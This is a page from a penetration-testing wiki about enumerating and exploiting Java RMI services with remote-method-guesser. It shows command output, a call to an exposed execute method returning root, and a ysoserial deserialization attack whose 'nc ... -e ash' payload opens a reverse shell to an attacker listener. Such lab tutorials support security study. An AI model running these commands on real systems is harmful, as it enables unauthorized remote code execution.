πŸ•΅οΈ
VeryLazyTech
πŸ“œ MediumπŸ›’ My ShopπŸ‘Ύ GithubπŸ“© Telegram πŸ“Ί YouTubeβœ– Twitter
  • πŸ•΅οΈWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • πŸ‘Ύ GitHub
      • πŸ“œ Medium
      • β˜• My Shop
      • πŸ“Ί YouTube
      • βœ– Twitter
      • πŸ“© Telegram
  • πŸ›‘οΈ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCβ€Š-β€ŠCVE-2025–2539 File Away <= 3.9.9.0.1β€Š-β€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • πŸ•΅οΈβ€β™‚οΈDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • πŸ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • πŸ•ΈοΈPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • πŸͺŸWindows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows andΒ Linux
  • πŸ§‘β€πŸ”§Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic info
  • Understanding Java RMI and Its Attack Surface
  • Enumertion
  • Bruteforcing Remote Methods
  • Known Interfaces

Was this helpful?

  1. Network Pentesting

Java RMI - RMI-IIOP - Port 1098/1099/1050

PreviousSocks - Port 1080NextMSSQL (Microsoft SQL Server) - Port 1433

Last updated 1 month ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • βœ– Twitter .

    • πŸ‘Ύ Github .

    • πŸ“œ Medium .

    • πŸ“Ί YouTube .

    • πŸ“© Telegram .

    • πŸ•΅οΈβ€β™‚οΈ My Site .

  • Visit our for e-books and courses. πŸ“š

Basic info

Java Remote Method Invocation (RMI) is a distributed application framework that allows methods to be invoked remotely across JVMs. Although widely used in legacy enterprise systems, Java RMI is often overlooked in penetration testing engagements, despite being highly vulnerable when misconfigured. This comprehensive guide details every step of Java RMI penetration testing β€” from discovery and enumeration to advanced exploitation, code execution, and real-world post-exploitation scenarios.

Understanding Java RMI and Its Attack Surface

Java RMI allows invocation of methods on remote objects as if they were local. It typically operates over TCP and uses the JRMP (Java Remote Method Protocol). The default port is 1099, although RMI objects can be registered on other ports, or within a multi-port registry architecture.

Key components:

  • RMI Registry: A naming service for remote objects.

  • Remote Object Stubs: Act as client-side proxies.

  • Skeletons: Server-side constructs to dispatch calls (deprecated in modern Java).


Enumertion

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

The ObjID values displayed by remote-method-guesser can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Even when no vulnerabilities have been identified during enumeration, the available RMI services could still expose dangerous functions. Furthermore, despite RMI communication to RMI default components is protected by deserialization filters, when talking to custom RMI services, such filters are usually not in place. Knowing valid method signatures on RMI services is therefore valuable.

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identified methods can be called like this:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Or you can perform deserialization attacks like this:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Known Interfaces

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Support VeryLazyTech πŸŽ‰
  • Follow us on:

is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:

The output of the enumeration action is explained in more detail in the of the project. Depending on the outcome, you should try to verify identified vulnerabilities.

Unfortunately, Java RMI does not support enumerating methods on remote objects. That being said, it is possible to bruteforce method signatures with tools like or :

marks classes or interfaces as known if they are listed in the tool's internal database of known RMI services. In these cases you can use the known action to get more information on the corresponding RMI service:

Learn & practice

Become VeryLazyTech ! 🎁

βœ– Twitter .

πŸ‘Ύ Github .

πŸ“œ Medium .

πŸ“Ί YouTube .

πŸ“© Telegram .

πŸ•΅οΈβ€β™‚οΈ My Site .

Visit our for e-books and courses. πŸ“š

🌐
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
remote-method-guesser
documentation pages
remote-method-guesser
rmiscout
remote-method-guesser
For the Bug Bounty
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop